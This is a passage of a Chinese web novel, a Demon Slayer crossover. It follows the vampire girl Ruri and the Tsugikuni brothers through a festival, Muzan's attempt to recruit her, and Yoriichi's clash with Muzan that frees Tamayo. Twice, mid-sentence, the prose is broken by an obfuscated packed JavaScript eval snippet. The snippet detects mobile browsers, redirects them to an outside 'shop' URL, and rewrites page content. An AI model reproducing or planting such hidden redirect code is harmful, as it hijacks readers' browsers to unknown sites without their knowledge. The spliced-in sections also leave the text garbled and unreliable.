现在正是晚秋,后院里种了许多枫树,层层叠叠的红枫掩遮住天空,与深蓝色的天幕接轨,点缀在天幕上的点点繁星化作片片枫叶,从空中一片一片地落下来,而面容艳丽的少女就站在坠落的片片枫叶间。 音羽山琉璃毫无疑问是漂亮的,但此时这种氛围,这种场景,更多是一种直击心灵的认可。 ——眼前的这位女性,确实是一位美人。 红色很适合她,黑色与金色的纹路十分有质感,衬得人高贵。 继国缘一想起那天晚上捡到她的时候,年岁看上去不大的小姑娘破破烂烂,脸上脏兮兮的,抱着自己一条胳膊,哭得上气不接下气。 她还是这样干干净净的好看点。 见琉璃盘好的发间只有随手摘下的野花做装饰,继国缘一往前走了几步,停在琉璃面前,从袖口中取出一支发簪。 上面的珍珠成串,看得出来用料不错,点缀的白色山茶花十分漂亮,琉璃笑眼弯弯,问:“这是送给我的?” “嗯。” “谢谢!”她接过发簪,在头上比了比位置,最后还是向缘一求助:“这里没有镜子,我不知道应该插在哪里,你帮帮我?” 继国缘一的视线从簪子上挪到她的耳边,沉默了几秒后,他直直地将发簪在那团头发间插了个对穿。 琉璃扶了扶簪子,问:“好了?好看吗?” 继国缘一:“……” 他其实觉得看上去有点怪怪的,但是…… 青年目光偏移,偷偷去看一边的继国岩胜。 继国岩胜立刻转过面向,假装不在看这里。 继国缘一没有办法,只能说:“好看。” “我相信继国家的审美。”音羽山琉璃面露笑容:“谢谢你,缘一,我没想到你也会为我准备礼物。” “前几日,兄长便说许久未感受过这种热闹,如果有时间的话,去看看也无妨。”他说:“想着你也许会用到,所以看见合适的就准备了。” “原来你们早就有想法要去了,还故意不告诉我。”音羽山琉璃不满环胸,不过看两个人都有将自己收拾整洁,可能是私下里商量了想给她一个惊喜,当即就不在意这些细节了,又笑眯眯地手一翻,拿出两个精致的小木盒:“也没关系,幸好我给你们都准备了回礼。” 继国缘一接过后打开一看,居然是一只用草编成的胖兔子。 继国岩胜的盒子里也是。 身披暗紫色羽织的青年冷脸:“草兔子?” 琉璃不好意思地笑了一声:“你知道我身上一分钱都没有的嘛,这个礼物确实轻了点,下次有机会我再给你别的礼物。” 他依旧冷脸。 看来是没猜对,这家伙不是在意这个。 脑袋里忽而灵光一闪,琉璃又说:“隔壁的小女孩只教了我怎么折兔子,下次教我折小狗了,我再给你折一只。” 小狗…… 继国岩胜差点没气笑,但是他只是闭了闭眼睛,深吸一口气,想着她好歹有一片心意,他还是觉得算了,本来今天就是想圆了她的念想去逛祭典的,这些都是小事。 他将盒子收好,另一只手搭在刀柄上,语气平淡:“先走吧。” 琉璃看着岩胜往前走的背影,轻轻拍了拍胸口,转头看到缘一正双手捧着盒子,看着里头圆圆滚滚的草编兔子发呆。 她伸手在缘一面前晃了晃,“你在想什么呢?岩胜都走了。” “……”缘一微微抬头,往日暗淡的红色眼眸暗涌着一片波澜。 他说:“谢谢你的礼物,我会好好保存的。” 琉璃一愣,又说:“你弄丢了也没关系,我还想等产屋敷给我发月钱了,我再给你们买更贵重的东西呢。” “不一样。” “什么不一样?” 缘一却摇摇头,没有再解释。 14. 十四只血族 人类的祭典果然很热闹,不大的城镇上行人摩肩擦踵,每个角落都被漂亮的灯笼照亮,笑声和吆喝声交杂在一起,到处都洋溢着快乐与欢喜。 有一对孩童嬉笑着追逐打闹,穿过人群之中的缝隙,撞在了琉璃的腿上。 琉璃没什么事,反倒是撞过来的孩子倒在了地上。 村镇养的小孩皮糙肉厚,摔一下自己就爬起来了,他一边揉着自己擦伤的手肘,一边下意识抬头看去,动作立马僵住,余光又到扫女性身旁的两个高大男人,顿时大气都不敢喘,立刻跪下来,头低下去,抵住手背。 “非、非常抱歉,冲撞了大人,还请、请大人宽恕。” 追着他的小女孩此时反应过来,“嘭”一声跪下来,颤颤巍巍地跟着土下座。 很久没有人只是撞她一下就怕成这样了。 琉璃故作凶恶地问道:“只是道歉,你就想得到我的原谅吗?” 两个小孩抖得更凶了,小小的唇瓣张开又闭上,想说些什么却又不知道该如何求饶,呼吸声沉重地在嘈杂的街道都隐约可闻。 “那个。”琉璃指了指小女孩手腕上挂着的小布袋,说:“里面的东西你给我一个,我就原谅他。” 小女孩先是低头看了看自己手袋,再迟疑地看向眼前样貌高贵的姬君,“您确定要这个吗?” 琉璃点点头。 一颗晶莹剔透的糖果落在琉璃摊开的掌心中。 小女孩收回手,表情忐忑。 “不错,说话算话,我原谅他。”琉璃笑眼弯弯地收起糖果,手掌一翻,变戏法似的翻上来两颗星星模样的糖果:“作为你勇敢善良的奖励,这个送给你。” 小女孩捧着糖果发愣,男孩忙说:“感谢大人!” 琉璃觉得这两个孩童都很可爱,忍不住轻轻拍了拍他们的脑袋。 这里发生的小插曲没有引起什么骚乱,倒是他们三个人离开时,周围的人自发地让出了一条路,生怕再有冒犯。 男孩惊魂未定地呼出一口气,脸上全是后怕,他拉着妹妹回去找父亲母亲,女童下意识回头看了最后一眼,身穿黑红色振袖的娉婷背影已经被人群淹没,只剩下几句对话随着风吹到耳边。 “你干嘛这样看我?你也想吃糖吗?” “……不吃。” “很甜哦。” “炼狱送你的金平糖没吃完,非得骗小孩的水糖吃。” “我没尝过,不知道哪个更好吃,讨一颗来尝尝也不行?” “兄长,琉璃,不要吵架。” “我们没吵架!” 剩下的声音连风都送不过来,女孩自然也就听不见了。 收回视线时,她余光看见离这里有些远的地方站着一个气质很特殊的男人。 他身形纤细修长,一身月白色的直衣衬得他如天上月,偶然才坠入人间,沾染了寻常烟火气,他额前垂下带着弧度的碎发,肤白唇红,嘴角带笑地站在那里。 和刚刚撞着的那三个哥哥姐姐一样,一看就是出身高贵之人。 真是奇怪,这里并不是什么繁华的地方,小小的祭典,却引来了许多大人物呢。 …… 水糖的味道果然很一般,怪不得岩胜和缘一都说不吃。 琉璃用舌头搅动着含在口腔里的糖果,抿着抿着,满嘴的甜味突然被鼻尖涌上来的腥臭味掩盖下去,差点没把她臭吐。 继国岩胜:“……你干什么?” 像是突然发了什么病。 琉璃用手在鼻前扇了扇,蹙着眉头说:“好臭的味道。” 他们两个只闻到了食物的香气,越靠近城中的榕树,火.药的味道也愈发明显,只是这些味道都很正常,算不上臭。 既然不是这些…… 两人对视一眼,手已经按在了腰间的刀柄上,岩胜问:“在哪儿?” 琉璃指向东边方向,又说:“味道很臭,你们小心点。” 味道这么刺鼻,那只鬼一定吃了很多人,说不定已经有了血鬼术,总之,不是什么好对付的家伙。 继国缘一点点头,呼吸间就已经蹿出五米远,继国岩胜则是动作一顿,给了琉璃一些铜钱,对她道:“你就留在这里吧,不用操心,我和缘一足矣。” “哦。”琉璃应了一声,看着那两个背影沉于人海中,迅速消失不见。 手里的铜钱还是温热的,她随手抛了抛,笑容满面地买走了一个漂亮的金鱼灯。 听城里的人说,再晚一点的时候,会有神社的巫女现身,净化城中的污秽,祈求接下来一年风调雨顺,五谷丰收,平安康健,不被战火侵扰。 琉璃曾经见过一位巫女。 温柔婉约的女性说话轻声细语,可在面对恶鬼的时候却能勇敢地挡在村民面前,坚定地拉弓射箭,多亏了她拖延时间,那次任务无一人伤亡。 这让琉璃想到了以前遇到的一个血族猎人,那个男人身边跟着一位修女,也是柔柔弱弱的,但是泼起圣水来却一点都不手软。 倒是有点想念那个金发碧眼的漂亮修女了,琉璃觉得她们有时候也挺谈得来的。 “咚。” 额头撞在一个坚硬的胸口上,还把琉璃撞得往后退了几步。 她吃痛一声,揉了揉额角,暗道哪个壮士能把她撞成这样,怕不是这世界上出了第三个继国兄弟,抬头一看,却看到一张昳丽貌美的面容。 哇。 男人居然也能如此美丽吗? 有着一头微卷黑发的男人气质温雅,连说话都有好听的韵调,他说:“不好意思,是在下一时分神,还好吗?有没有撞到哪里?” 没有撞到哪里。 但是这位兄弟能把她撞得后退,这是一件很不得了的事情。 琉璃上下打量这位奇怪的男性,好像隐约从他身上闻到了什么气味。 鼻子动了动,一股浓郁的腥臭味瞬间冲上天灵盖,差点没把她熏晕。 果然是臭男人,就算如此美丽,也还是臭男人。 呕。 鬼舞辻无惨:…… 男人无言,脸上的温和有礼有一丝裂痕,但很快掩饰过去,稳住了人设。 臭归臭,琉璃还是以第一次见到进化得如此完美的鬼。 目前为止见到的那些鬼都形态各异,很少有像人的。 而这一个,几乎没有鬼化的特征,和普通人类似乎没什么区别。 “你……”琉璃蹙着眉头,一只手捂着鼻子,斜眼看他:“你是特意来找我的?” 缘一和岩胜刚去追出现在城边的恶鬼,她面前又出现一只以为自己伪装地很好的鬼东西,莫不是想分开击破。 用的还是美男计……天真,她可不是只看脸的肤浅血族。 鬼舞辻无惨一顿,唇边的笑变了味道,他问:“你知道我是谁?” “鬼。” “什么鬼?” “长得人模人样的,我哪知道你是什么鬼。”琉璃双手环胸:“不管你是什么鬼,劝你赶紧走,你放出来那只太弱了,拖不了他们太久,而你也杀不了我,不必浪费时间了。” “他们?”青年语气多了几分自己都没察觉到的轻蔑:“两个猎鬼人而已,倒是你,不打算和我走?” 琉璃觉得他这话说的莫名其妙,“我为什么要和你走?” “我们可是同类。” “我们不是同类。” 他猩红色的眼眸紧盯着琉璃,声音一如之前温雅,“虽然不知道你是怎样出现的,但我们同样被太阳抛弃,同样只能以人类为食,渴望的也是同一样东西,怎的不是同类?” 琉璃:“就不是同类。” 鬼舞辻无惨面露无奈:“你真可怜,也十分可悲,究竟是谁对你灌输了这样的想法,让你与我划分界限,卑微地跟在人类身边,以祈求他们的鲜血过活。” “你大可以到我这里来,你可以站在与我同样的高度,受鬼的尊敬,永远不用受制于人类。” 他朝琉璃伸出手:“你本该拥有更无拘无束,随心所欲的生活,跟我走吧。” 琉璃有一瞬间,真的觉得他说的是对的。 只不过这个想法刚刚冒了个绿苗尖尖,琉璃便越过鬼舞辻无惨,看到了从那边往这里走的缘一和岩胜。 鬼舞辻无惨微微侧目,又恢复了那翩翩公子的做派,朝琉璃礼貌颔额:“很遗憾,看来今天只能聊到这里了,琉璃,你总是要回到我身边的。” 琉璃一愣,等再回过神时,男人已经不见了,反而是缘一和岩胜走到了面前,奇怪地看着那少爷模样的人走远。 继国岩胜收回视线打量了琉璃一番,问:“刚刚那是谁?” “那是……”琉璃刚想如实回答,却又转念一想,继续说:“不知道,说了些奇怪的话就走了。” 不能说那是鬼,缘一知道也就算了,他不会把自己和鬼联系在一起。可岩胜不一样,他心思敏感缜密,如果知道一只厉害的鬼特意过来找自己,没有打起来,反而还和谐地聊了一会儿,不知道脑袋里会多出多少阴谋论。 好不容易和他们关系变好了一些,琉璃可不想让岩胜再警惕她。 继国岩胜追问了一句:“奇怪的话?” 琉璃随口说道:“问我金鱼灯哪儿买的,他也想要。” “……”继国岩胜抬头看向不远处的摊贩,那里摆着和琉璃手中一模一样的金鱼灯。 看背影,那家伙倒像是个有些身份的,而且还很年轻。 和琉璃这样没话找话,估计又是一个被她容貌迷惑的可怜人。 他问:“那你怎么说?” “我?”琉璃挠挠头,也看到了旁边就是金鱼灯摊子,“呃”了两声,迟疑道:“我说你……眼睛瞎吗?” 继国岩胜那张没什么表情的脸有点绷不住了,他忍不住追问一句:“你真这样说?” 琉璃心很虚:“嗯、嗯啊。” 末了觉得听上去没什么底气,又说:“怎么了?我说错了?” 他没那么冷峻了,嘴角隐隐有笑意:“没有。” “那就不管他了。”琉璃伸手去推他的背:“快走吧快走吧,我想看巫女跳舞。” 继国岩胜已经习惯了她这无礼又唐突的动作,再加上他现在心情确实不错,也就顺着她的力道往前走了。 缘一没怎么说话,他又看了一眼鬼舞辻无惨离开的方向,绯红的眼眸依旧毫无神采。 “缘一!快点呀!” 琉璃在不远处大声催促。 继国缘一没有再看,转身追上了琉璃和兄长。 …… 巫女的舞蹈确实好看,虽是凡人,却和修女说祷告词的时候一样,神圣而纯洁,像是真的会有神明在高处用慈爱的目光看着人间,接纳人类所有的苦难,洒下福泽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294867|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琉璃写字写的不好,所以很少写信,不过这次她的倾诉欲很强,立刻就想写信告诉产屋敷今日的见闻。 她先是去拜托了缘一。 青年当时正坐在走廊上擦拭着自己的刀,听到琉璃要他代写信,动作一顿,抬头看着面前的少女,没有说话。 琉璃以为他不愿意帮忙,气鼓鼓地想去找别人,结果就听缘一冷不丁来了一句:“我的字,不如兄长。” ……这有啥的! 她还毛笔都不会用呢! 再说了,就写给产屋敷看看,又不是别人,要那么好看的字干啥,她几斤几两,产屋敷清清楚楚。 此时继国岩胜刚好路过,他见两个人气氛诡异,细问了事情经过,随即很慷慨的表示,他可以代笔。 琉璃高升欢呼岩胜大人仗义。 继国岩胜准备纸笔的动作很熟练,一看就是有经常写东西的,他还能边写边帮琉璃梳理混乱语言。 写着写着,他问:“你怎么突然想给产屋敷写信?” “产屋敷说,如果遇到很心潮澎湃的事情,可以和朋友们分享。”琉璃说:“我的朋友除了你们就是产屋敷和炼狱啦,所以我想写给他们看。” 这才几天,就成朋友了。 继国岩胜不置可否,给自己倒了杯茶,等墨迹干透:“你真的相信这世上会有神明?” “有呀。” “你见过?” “打过。” “?”他抬头,思考着这两个字的深层含义。 思考半晌,岩胜又问:“既然有,那为何这世间凡人被恶鬼纷扰,神明却无动于衷?” 琉璃:“或许,只是你觉得无动于衷而已。” 继国岩胜动作一顿。 什么意思? 什么叫只是你觉得无动于衷? 她想说产屋敷一族的诅咒就是降下的责罚吗。 产屋敷与鬼舞辻无惨在早年间有着密不可分的联系,鬼舞辻无惨变成了这世上的灾厄,紧接着产屋敷一族遭受了莫名的诅咒,产屋敷一直以铲除鬼王为己任,不仅是因为想要消除诅咒,更是为了洗去家族之耻。 借他人之手铲除灾厄,却没有给予他相同的力量。 ……不。 也许也是有的。 继国岩胜看了一眼倚着门坐在长廊的缘一。 就缘一展现出来的天赋而言,称他一句“神明在凡间的化身”都不为过。 继国岩胜敛下眼眸,他不信,他的努力比不上神降恩赐。 “好了吧,墨迹干了吧?” 琉璃抽走继国岩胜面前那张信纸,仔细看了看,然后才将信纸折叠工整,递到缘一眼下:“快,缘一,让你的信鸦快马加鞭,速速传递给产屋敷。” 继国缘一依言招来信鸦。 将想说的话尽数说出,音羽山琉璃心满意足,她从榻榻米上站起来,顺便伸了个懒腰:“累了,我想去吃点点心,有人要一起吗?” “不了,现在是人类需要休息的时间。”继国岩胜平静拒绝:“你自己去。” 琉璃耸了耸肩膀,离开房间时经过窗台前的小桌子,模糊的镜子一闪而过她的身影,她余光一扫,还没反应过来,身体先一步停下,挪到了镜子前跪下,抱着那面小铜镜,瞪大眼睛看着镜面上的自己。 这是什么? 她头上这是什么? 颤抖的指腹摸上那支将自己发团插了个对穿的发簪,琉璃有点呼吸困难。 她刚刚顶着这个造型逛了一整晚的祭典?她刚刚顶着这个造型和那只美艳男鬼说了半天的话? “继国缘一!” 琉璃猛地站起来,指着自己滑稽的发型,有点崩溃:“你不会戴发簪不怎么不早点说啊!” 继国缘一莫名被点名,微微侧目看过来。 “……” 继国岩胜是想笑的,但是他怕现在笑出来会让琉璃更加恼羞成怒。 “继国岩胜你怎么也不提醒我!” ……哦,还是被点名了。 继国岩胜刚想说话辩解几句,琉璃就已经不管不顾地伸手去抓缘一的领子了。 青年被揪住,面无表情的脸上看上去有点迷茫,他不懂琉璃为什么突然生气,只以为自己是做错了什么事情。 血族的力气都大,一米九的壮汉在琉璃手里轻得像一张薄纸一样被晃来晃去。 继国岩胜可不敢去劝,这姑娘最在意自己的容貌,不如让她发泄一番,待会儿她注意到簪子怎么戴都不会影响到她漂亮的脸,她就不会再生气了。 “簪子要横着插进发团里啊!这样!这样!这!样!” “怎么都不会竖着戳吧!这么好看的花都看不见了!头发后面还能看见木头也会很丑啊!” “气死我了气死我了气死我了!” “这样戴!” “看清楚了没有!” 继国缘一点头。 音羽山琉璃松开手,转头又去看铜镜,侧头扶着那支插歪的簪子,小声嘀咕:“还好有我的脸撑着,这样戴也不算丑……” “下次不许再戴歪了!” 继国缘一端坐着,再次点头。 他向来不会表达情绪,被一顿臭骂也没什么表露,只是一味点头,看起来倒是有些可怜。 岩胜轻轻地干咳一声,用喝茶的动作遮掩上翘的嘴角。 15. 十五只血族 三日后,产屋敷终于回信了。 信上先回复了琉璃给他分享的祭典趣事,表示如果有机会他也很想参加一次,然后又提及了斑纹的事情。 很遗憾目前产屋敷还没有找到解决之法,开启斑纹后的剑士英年早逝恐怕已经变成了既定的结果。 以及,队里的人员伤亡有些严重,现在人手不够,需要缘一和岩胜分头前往他们自己的任务点。 缘一放下手里的信,看向兄长。 此时继国岩胜也知道了自己需要去的地方。 两人对视一眼,又看向琉璃。 “南边和西边,你想去哪儿?” 说的太委婉了,南边和西边,问的其实也就是“我们两个,你要和谁一起”。 “我还能选?”琉璃一脸莫名地回应继国缘一的视线:“我选吗?” 继国缘一在回答这个问题时,表情看上去比平常要温和几分:“你是我们的同伴,自然也要听一听你的意愿。” 音羽山琉璃再三考虑之下,还是觉得和缘一一起行动比较好。 先不说她待在缘一身边的时间居多,他心思更为单纯,即使平常不怎么说话,也不会觉得有什么不自在,而岩胜……说实话她现在都没明白这家伙到底是个怎样的人。 继国岩胜没说什么,依旧如往常那样看不出情绪,只是第二天等太阳下山,琉璃从被褥里爬出来想和岩胜道别,缘一说兄长已经先行离去了。 就已经出发了? 琉璃抬头看向那还悬挂在天与地交界处的太阳,顿时恍然。 以前三个人基本都是等到傍晚再外出的,人类的习性与她不同,这段时间一直都是两个人类在迁就她。 直到已经分别时,琉璃才隐隐觉得有些难过。 虽然岩胜有点小脾气,有点小心机,有点小嘴坏,有点疑神疑鬼,但总的来说他还是个不错的朋友,愿意给她血,愿意给她出谋划策,愿意陪她一起玩。 下次再见,也不知道会是什么时候了。 大概是明日有雨,夜晚的天空平白多了许多云朵,如雾如纱与月亮缠绵,像是给圆月为上了一层美丽的裙摆。 只是在黑暗中赶路的两人谁都没有注意到这样的美景,他们的时间有限,必须要在天亮之前抵达下一个村落。 “还有半个时辰就要天亮了。”缘一看了看天色,说:“再坚持一下,到了我们再修整。” 琉璃点点头,慢慢呼出一口气,到底还是坚持了下去。 两天的路程在一个晚上赶完,天一亮她就疲惫地变成了小鸟,缩在缘一的头发里面休息。缘一一宿没合眼,现在精神倒是还不错,白天鬼不会出现,他便找了家茶馆坐下,一边喝茶一边打探消息。 俊秀的少年身形高大,坐在最角落头顶也能被一缕阳光光顾,琉璃往他领子里头藏了藏,喙搁在衣领边缘,半眯起眼睛打量这间茶馆。 别的优点没有,主要胜在干净,店内的空间不大,三两个人围成一桌,喝着茶水聊着天,看上去十分惬意。 除了饭馆,也就茶馆说闲话的人多了,镇子上芝麻大点儿的事都能成为闲聊时的谈资,更别说最近有几家还真的出了惨不忍睹的命案。 听死者的惨状,基本是可以肯定这里有鬼了。 缘一放下茶杯和几枚铜钱,打算去现场附近看看。 巧的是,炼狱居然也在这个镇子上。 “唔姆,原来我想象中的抄近道,会来到这里啊。” 许久未见的高大青年双手撑腰依旧很有精气神,他大笑道:“缘一是什么时候到的?这里的任务完成了吗?” 继国缘一回答:“今日早晨才到。” “原来如此,现在只用等到晚上就行了吧!”炼狱说完这句话,四处张望了一眼,问:“琉璃呢?怎么没看到她?” 他微微侧过身子,露出半个身体都埋在他衣领里的小鸟。 “噢!”炼狱微微瞪大了眼睛,惊奇地凑近看了看,笑道:“琉璃能变成这样?哈哈哈哈,很好很好,这样的话确实白天也能赶路了。她能说话吗?” 说着,炼狱想用手去戳小白鸟的喙。 结果被小白鸟张嘴咬住指尖。 “就算我不能说话,随便动女孩子的嘴巴也是一件很没有礼貌的事情,笨蛋。”琉璃狠啄炼狱那只手。 “哈哈哈好,真有精神啊。”炼狱一点都不疼,他收回手,说:“上次你送回主公那里的信,因为有提到我,所以主公也一并给我看了。” “祭典很热闹吧?仔细算算我也很久没见过那种快乐的大场面了。”他朝琉璃笑道:“如果有机会的话,我也想和朋友们一起参与啊。” “那就约好下次一起去吧,总会有机会的。”琉璃这样回答。 “唔姆,希望如此。”炼狱点点头:“好了,我也要继续赶路了。缘一,琉璃,再会。” 白色的翅膀挥了挥,继国缘一也安静看他离开。 青年金色的发尾泛着火红,奔波数日让他看上去有些风尘仆仆,像是一只经历了许些风霜的猫头鹰,混合着阳光与火焰的味道,风风火火来,又风风火火走。 等到那道身影彻底消失在视线中,继国缘一找了一处清净的地方休憩,为了避开阳光,他还戴上了竹笠。 等到夜幕降临,一无所觉的恶鬼刚露头,锋利的日轮刀带着绚烂的火光,如同切土豆一样,将鬼的脑袋砍了下来。 在缘一面前,这些鬼着实是有些不够看了。 琉璃坐在高高的墙沿边,一只手抵着下巴,看着面前这场还没开始就已经结束的战斗,不由得想到上次祭典时见到的那只漂亮男鬼。 那只男鬼一看就不简单,不知道他和缘一比起来,到底谁厉害。 “琉璃。” 继国缘一收刀,唤道:“走了。” “好呢。”琉璃连忙从墙沿边跳下来,跟在继国缘一身边。 少了岩胜在身边,队伍里多少有些冷清,不过就他那张嘴,在缘一砍完鬼之后肯定又要暗戳戳说几句她只会在旁边偷懒。 说来也奇怪,在最开始相处的时候,岩胜还是个不苟言笑,严肃刻板,成天觉得她很失礼的家族老古董,待在一起的时间久了,他的话逐渐变多,偶尔能看见他温和的一面,甚至还能激发出他嘴毒几句的潜能。 虽然有这么个拌嘴搭子在旁边挺烦人的吧,但是这个搭子离开了,总是觉得少了些什么。 如果以后能再一起同行就好了。 琉璃这样想着。 …… 鬼杀队的人手一直不够,缘一和岩胜都是队里的顶梁柱,这半个月里都没有聚在一起过。甚至大家的书信往来都少了很多,每次信鸦都是送来鬼的消息,连产屋敷的叮嘱都鲜少有几句。 说起来,也不知道岩胜和炼狱怎么样了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294868|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,产屋敷之前已经下了定论,开了斑纹的剑士寿命很短,大概的期限也就是在二十五岁左右,过不了几年,这两位强大的剑士就要陨落了。 已知死期将至,偏偏鬼王弄出来的恶鬼依旧还在各地作祟,就连琉璃想要将大家聚在一起办一场热闹的祭典,留下难忘的回忆都不能做到。 一想到以后会失去几位友人,琉璃心里难免惆怅。 她走在月光倾洒的小径上,思考着,犹豫开口:“缘一,你说,产屋敷的诅咒,和剑士们开的斑纹,据产屋敷的分析来说,似乎都是你们的神明降下的罪罚。但是鬼舞辻无惨就没事,是不是因为他有强大的重组能力呢?” 继国缘一没法回答,他其实也并不知道。 “如果将他们变成血族的话,是不是他们都能有力量,像无惨那样与诅咒抗衡了?”琉璃又问。 “也许……有一部分人会赞同你的想法。”继国缘一说道:“但,我并不想变成血族。” “为什么呢?之前岩胜也说不愿意变成血族,变成血族就那么不好吗?” “血族也会喝人血,吃人肉,存在诸多禁制,被太阳抛弃,最重要的是,一旦接受了自己为异类,人类的头脑便会一点一点消失。”他停下来,侧过头,注视着琉璃的眼睛:“到时候,我便不再是我。” 琉璃一愣:“怎么会呢?就算族类不同,你还是你啊。” “我不会再保持人类的思维,我的所有认知,所有习性,都与人类的继国缘一不同,彻底变成非人类,我会觉得喝血是正常的,人的死亡是正常的。只有身为人,不是异族,才会知道人的生命脆弱,珍贵,是需要保护,不能随便伤害的东西。” 继国缘一声音平静,并不是在指责谁,而是平和地在阐述着:“琉璃,如果给你喝血的,不是已经被你当成同伴的我和兄长,而是一个完全陌生的人类,你还会说着‘不能喝太多,会对你的身体产生影响’这种关切的话吗?” 当然不会,那只是血袋而已,自然是要喝到她饱了为止。 啊,所以鬼也是。 在它们眼中,人类也只是食物和提升力量的耗材,不会有猎食者会在意猎物的心情的。 继国缘一转过头,继续往前走:“所以我不会的,不会变成血族。” “……” 琉璃知道继国缘一说的是对的,可她还是很泄气。 看来将他们转化为同族是不可能的事情了,而且只有等缘一死掉,她才能去尽情做她想做的事情。 ……然而琉璃又不希望缘一死掉。 她幽幽地叹口气。 要成为君王,还真不是一件容易的事情。 走着走着,前面的继国缘一再次停下了脚步。 琉璃在思考,一时没有觉察,额头撞在了他的背上,给自己额头撞红了一块。 她吃痛地揉着被撞疼的地方,疑惑地越过他往前方看去,只见在两侧盛开着小雏菊的小径上,站着两个人。 不,应该说,是两只鬼。 女性鬼身上的味道还算干净,并没有寻常恶鬼的那种腥臭味,可她旁边那只就不一样了,那种味道,差点没把琉璃熏晕。 诶,等等,这种程度的恶臭她只在一只鬼上闻见过。 琉璃定睛一看。 果然,是那只在祭典上遇见过的漂亮男鬼。 他还是那么漂亮,也还是那么臭。 16.十六只血族 鬼舞辻无惨身边有一个长得很古典婉约的女人,她眉淡如秋水,唇瓣如桃花瓣,眉目间有化不开的忧愁,让人忍不住心生爱护之意。 琉璃有点怀疑这位鬼王是不是有什么特殊的癖好。 他怎么只找漂亮女孩子下手,把人拐到身边去? 鬼舞辻无惨的视线落在琉璃身上,脸上带着虚伪的温和,唤我道:“琉璃……” 剩下的话还没说完,就被继国缘一红色的刀刃给砍断了手臂和脖颈。 琉璃:“!” 她的老天爷。 这个速度,比对付她的时候可吓人多了! 无鬼舞辻无惨的头在这一瞬间被斩下,他下意识想扶住自己的头,却发现手也被斩断,只能用断肢勉强支撑。他尝试将头快速接回去,却发现根本接不回去,残破的身体也很难复原,表情有一瞬间的不敢置信,紧接着,他愤怒到面部突起青筋,脸色极差。 明明只是一个人类…… 明明、他只是一个人类! “鬼舞辻无惨。”继国缘一看着他,问出了无论如何都想知道的问题:“你把生命当什么了?” 鬼舞辻无惨没有回答,他已经对这个人类的危险程度有了足够的认知,这种伤害对他来说不足以致命,但继续打下去他没有胜算。 伴随着一声爆响,面容昳丽的男人自己裂开,化作密密麻麻的肉块四散爆裂,继国缘一砍掉了一千五百多块,趁这个时候,剩下的肉块迅速逃走,彻底消失在了这片竹林中。 还是失败了。 鬼舞辻无惨还是逃跑了。 音羽山琉璃这才敢重新呼吸,小心翼翼地靠近继国缘一,喊他:“缘一……你没事吧?” 继国缘一平复了并不急促的呼吸,侧头看她一眼,眼中是她所熟悉的平和,琉璃这才松了口气。 刚刚青年爆发出的那种气势实在太过骇人,琉璃只有在确认缘一还是缘一的情况下,才敢放心。 在场的鬼只剩下了那只女鬼。 继国缘一将有些崩溃的女鬼扶起来,他刚刚看的很清楚,自己在将要把鬼舞辻无惨杀死的时候,她的眼里充满了希望,可鬼舞辻无惨逃跑后,她又被绝望笼罩着。 经过一番交谈,女鬼说她的名字叫珠世,之前由于身患难以治愈的重病,受了鬼舞辻无惨蒙骗被转化成鬼,自那之后一直都跟在鬼舞辻无惨身边。 现在鬼舞辻无惨受了重伤,她与无惨之间的联系变得薄弱,借此机会,她想彻底摆脱无惨的控制。 可在那之后她又要做些什么,此时却有些迷茫。 继国缘适时提出了建议:“你的眼泪中充斥着对无惨的憎恨,不如,与我们一同对抗无惨吧。” 珠世缓缓抬起头,那双蕴含着悲伤的眼睛凝视着缘一,她流下泪珠,又看向了音羽山琉璃,少女模样的异族有着不同常人的美丽容貌,是非常典型的西方面孔,眼窝深邃,鼻梁高挺,最重要的是,她并非人类。 鬼舞辻无惨偶尔会提起这个混迹在人类之中的异族,他说叫做琉璃的女孩只是被人类所蒙骗,她总有一天会回归到他的身边,与他一起寻找再次拥抱阳光的方法。 她现在觉得那样一厢情愿的鬼舞辻无惨十分可笑。 面前的少女根本不像是被谁蒙骗的样子,与人类并肩站在一起,是她自己的选择。 珠世无意识地握紧了扶住继国缘一手臂的手。 现在,她也要做出自己的选择。 音羽山琉璃觉得刚刚她看自己那一眼很奇怪,刚好她又是鬼舞辻无惨带着的鬼,于是她蹲下来问了珠世几个问题:“你知道无惨有什么目的吗?我明明不认识他,他却能够叫出我的名字。” “无惨可以通过鬼的眼睛看到他想看到的画面,恐怕你的事情他也是无意中看到了。”珠世回答:“千万要小心,无惨是一个为了目的不择手段的恐怖之人,虽然……最近这段时间他肯定不会轻易现世。” “都被砍成那样了,估计修养都要花很长时间。”琉璃有点幸灾乐祸,不过很快她就抛弃了这点情绪,又问:“珠世要怎么办?跟着我们一起吗?” 珠世摇摇头,说:“不敢再劳烦大人。” 继国缘一想了想,收回手,点点头:“保重。” 珠世没有选择和他们一起走。 真可惜,琉璃还以为之后会多一个同伴呢……不过想想也是,她不是鬼,剑士们对她的态度大部分都不怎么样,珠世是真正由鬼舞辻无惨转化的鬼,要是回去见主公的话,不知道会被剑士们砍成什么样呢。 看着女人缓缓离开的背影,琉璃和继国缘一都没有说话。 原本半路上遇见鬼舞辻无惨,在琉璃的想象中两方应该会有宿命一般的对峙,惊天动地的过招,声势浩大的打斗场面,可能打完之后这片竹林都要被会坏掉。 可现实却是,他们确实交手了,却如同火花在迷雾中破开,在爆发了短暂的绚烂后,又归于了平静。 